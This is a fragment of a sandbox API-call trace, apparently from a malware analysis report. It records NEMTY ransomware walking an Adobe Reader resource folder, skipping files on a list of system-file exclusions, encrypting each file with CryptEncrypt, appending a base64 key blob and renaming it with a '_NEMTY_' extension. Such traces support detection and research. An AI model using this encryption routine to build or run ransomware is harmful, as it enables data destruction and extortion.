lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt._nemty_kgobjgd_")) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_EC.txt", cAlternateFileName="DIE9E6~1.TXT")) returned 1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2=".") returned 1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="..") returned 1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="...") returned 1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="windows") returned -1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="rsa") returned -1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="NTDETECT.COM") returned -1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="ntldr") returned -1 [0215.362] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="MSDOS.SYS") returned -1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="IO.SYS") returned -1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="boot.ini") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="boot.ini") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="ntuser.dat") returned -1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="desktop.ini") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="CONFIG.SYS") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="RECYCLER") returned -1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="bootmgr") returned 1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="programdata") returned -1 [0215.363] lstrcmpiW (lpString1="DisplayLanguageNames.es_EC.txt", lpString2="appdata") returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 30 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 30 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 30 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_EC.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_EC.txt", lpUsedDefaultChar=0x0) returned 30 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.364] Sleep (dwMilliseconds=0x5) [0215.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34024a90, dwHighDateTime=0x1d561e8)) [0215.372] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34024a90, dwHighDateTime=0x1d561e8)) [0215.372] GetLastError () returned 0x0 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.372] GetLastError () returned 0x0 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.372] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.372] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="Bq7MO1HcgdcLqUxNDzGJjTVh6nU2T+oL+tXufSIya7cyB/0PHvhTo122uV9E8rlJ\r\neel3JF4zuvmPny0i+7EFIyESG2wGf48Q06XhC15O/vLeTBOcOz/XznrLEAJQUovN\r\nGBvKxIc+D+ATe3Gi6OMNJ9Va0//fgUGoEgjBWuCTio+h0eLwDZ1qDk6nKf0g/A7U\r\nejuUQIddSkZaRw8+JUOIwv3PpoAjiFvxKznZllTI2EoT1n904a+SfuGyPF4skNSt\r\n6xFzZ9o4d95EMEj37mzMhttyBZsXDEVuivZ8ai9wOOWL5d2CY1+bskp3cu2o6/zZ\r\nj816C5G1Ado9T5wWWkmCPg==\r\n", pcchString=0x653e5dc) returned 1 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.373] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28358) returned 1 [0215.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6ec0) returned 0x6352c48 [0215.373] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.373] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6ec0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.376] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.376] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6ec0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6ec0, lpOverlapped=0x0) returned 1 [0215.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.376] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28358, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6ec6 [0215.376] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.377] CloseHandle (hObject=0x2e8) returned 1 [0215.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.377] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt._nemty_kgobjgd_")) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.380] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.es_ES.txt", cAlternateFileName="DI408C~1.TXT")) returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2=".") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="..") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="...") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="windows") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="rsa") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="NTDETECT.COM") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="ntldr") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="MSDOS.SYS") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="IO.SYS") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="boot.ini") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="boot.ini") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="ntuser.dat") returned -1 [0215.380] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="desktop.ini") returned 1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="CONFIG.SYS") returned 1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="RECYCLER") returned -1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="bootmgr") returned 1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="programdata") returned -1 [0215.381] lstrcmpiW (lpString1="DisplayLanguageNames.es_ES.txt", lpString2="appdata") returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.es_ES.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.es_ES.txt", lpUsedDefaultChar=0x0) returned 30 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.381] Sleep (dwMilliseconds=0x5) [0215.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3404abf0, dwHighDateTime=0x1d561e8)) [0215.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3404abf0, dwHighDateTime=0x1d561e8)) [0215.387] GetLastError () returned 0x0 [0215.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.387] GetLastError () returned 0x0 [0215.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.387] 